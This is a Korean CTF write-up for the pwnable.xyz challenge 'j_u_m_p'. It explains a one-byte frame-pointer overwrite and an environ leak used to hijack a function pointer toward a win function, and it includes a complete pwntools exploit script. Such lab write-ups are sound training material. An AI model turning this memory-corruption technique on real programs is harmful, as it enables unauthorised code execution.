문제 풀이 환경 : Ubuntu 16.04
생각보다 간단했던 문제다.
📝 Analysis
<< Mitigation >>
Canary를 제외하고는 초록초록하다.
<< Execution >>
3번 메뉴는 뭔갈 leak 해주고, 1번은 Segmentation fault가 뜬다.
<< Code >>
· main
초기 세팅을 살펴보면, 미티게이션에서 canary 없었던 이유가 나만의 canary 만들기 때문이라는 걸 유추할 수 있다.
v6(rbp - 0x8)에는 PIE offset + 0xba0 값을 먼저 저장해준다.
메뉴별 기능을 살펴보자.
메뉴 number | 기능 |
1 | v5(rbp - 0x10)에 저장한 나만의 canary 값이 전역 변수 canary 값과 같을 때 v6의 값을 주소로 call을 해준다. (어셈블리어로 보면 그렇다.) |
2 | v6의 하위 4Byte와 select를 xor 해준다. 여기선 select 값이 무조건 2다.. (의미가 없어보임) |
3 | bss 영역에 저장된 environ의 시작주소(stack에 존재)를 알려준다. |
· gen_canary
예상했던 대로 /dev/urandom에서 랜덤 값을 가져와 이를 canary 값으로 쓴다.
· read_int8
BOF가 일어나긴 하는데 한 바이트만 오버플로우가 일어난다.
여기서 우리는 Frame Pointer Overwrite(One Byte Overflow) 기법을 떠올릴 수 있다.
↓ 무슨 기법인지 잘 모르겠다면..?
✨ Thinking
이제 우리 마음대로 rbp의 값을 조정할 수 있다는 걸 알게 됐다. (함수 에필로그 중 leave 명령어에 의해서!)
처음에는 메뉴 2번의 값으로 xor을 요리조리 해볼까도 생각했지만 그게 안된다는 걸 좀 계산해보고 깨닫게 되었다. ㅋㅋ
그래서 다시 한번 수도 코드와 어셈블리 코드를 잘 살펴보던 중...
이럴 수가,,, 한 바이트를 rbp와의 특정 거리만큼 떨어진 곳에 저장할 수 있다는 걸 발견했다.
생각해보면 함수 이름에 힌트가 있긴 했는데 바로 못 떠올렸다. ㅋㅋ
그래서 바로 이걸 이용해서 익스를 시작해봤다.
🧩 Exploit Scenario
- 3번 메뉴를 통해 environ의 주소를 leak 해준다.
- 디버깅을 통해 이 값과 main_rbp를 계산해준다. - read_int8 함수가 에필로그 프로세스를 밟을 때 rbp가 조작되는 걸 이용해서 원래의 main_rbp로 돌아가지 않고, main_rbp + 0x11의 값이 원래 v6가 있던 자리의 마지막 한 바이트를 가리킬 수 있게 만든다.
* 이유: main_rbp + 0x11 인 이유는 main_rbp - 0x11의 자리가 사용자가 입력해준 select 값의 자리이기 때문에 저장될 자리를 조작하는 과정인 것이다.
정리하자면, read_int8 함수에서 값을 넣을 때 [넣어주고 싶은 one byte] + padding(32byte까지 차도록) + [조작해줄 rbp의 one byte] 이런 식으로 해주면 원하는 자리에 원하는 한 바이트를 삽입할 수 있다는 것이다.
<before 조작>
<after 조작>
디버깅 프로세스가 달라서 주소 값은 다르지만 확실히 내가 고치고 싶은 값으로 고쳤다. (0x77은 win 함수의 마지막 한 바이트 값)
3. 마지막으로 메뉴 1번을 호출해서 v6를 호출할 건데 문제는 조건문 때문에 rbp의 값을 복구시켜야 한다.
4. 복구시키고 호출하면 win 함수가 호출되면서 flag가 나올 것이다!
🚩 Flag 🚩
''' frame pointer overflow '''
from pwn import *
context.arch = 'amd64'
# context.log_level = 'debug'
p = process('./j_u_m_p')
# p = remote('svc.pwnable.xyz', 30012)
e = ELF('./j_u_m_p')
win = e.sym['win']
# 1. calculating the gap between main_rbp and env_ptr
p.sendlineafter('> ', '3') # get environ value
env_ptr = int(p.recvline(), 16)
main_rbp = env_ptr - 0xf8
readint8_rbp = main_rbp - 0x50
target = main_rbp - 8
success(f'env_ptr: {hex(env_ptr)}')
success(f'main_rbp: {hex(main_rbp)}')
success(f'readint8_rbp: {hex(readint8_rbp)}')
success(f'target: {hex(target)}')
# 2. make one_byte sets that we need
main_rbp_one_byte = main_rbp & 0xff
rbp_one_byte = (target & 0xff) + 0x11 # plus, not minus
win_one_byte = win & 0xff
info(f'rbp_one_byte: {hex(rbp_one_byte)}')
info(f'win_one_byte: {hex(win_one_byte)}')
info(f'main_rbp_one_byte: {hex(main_rbp_one_byte)}')
# 3. FRAME POINTER OVERFLOW with the value we give!
payload = str(win_one_byte).encode() # for atoi
payload += b'\x00' * (32 - len(payload))
payload += p8(rbp_one_byte)
p.sendafter('> ', payload)
# 4. restore rbp for menu 1 because it checks the canary
payload = b'0'
payload += b'\x00' * (32 - len(payload))
payload += p8(main_rbp_one_byte)
p.sendafter('> ', payload)
p.sendlineafter('> ', '1')
p.interactive()
💩 Be Careful!!!
위에서 본 lazenca님의 강의를 봤으면 알겠지만 아래와 같이 일정 확률로 익스가 실패할 수 있으니 당황하지 말고 한 바이트만 덮을 수 있는 상황이 될 때까지 돌려보자!!
-> 덮어야 할 값이 2Byte나 되어서 실패한다!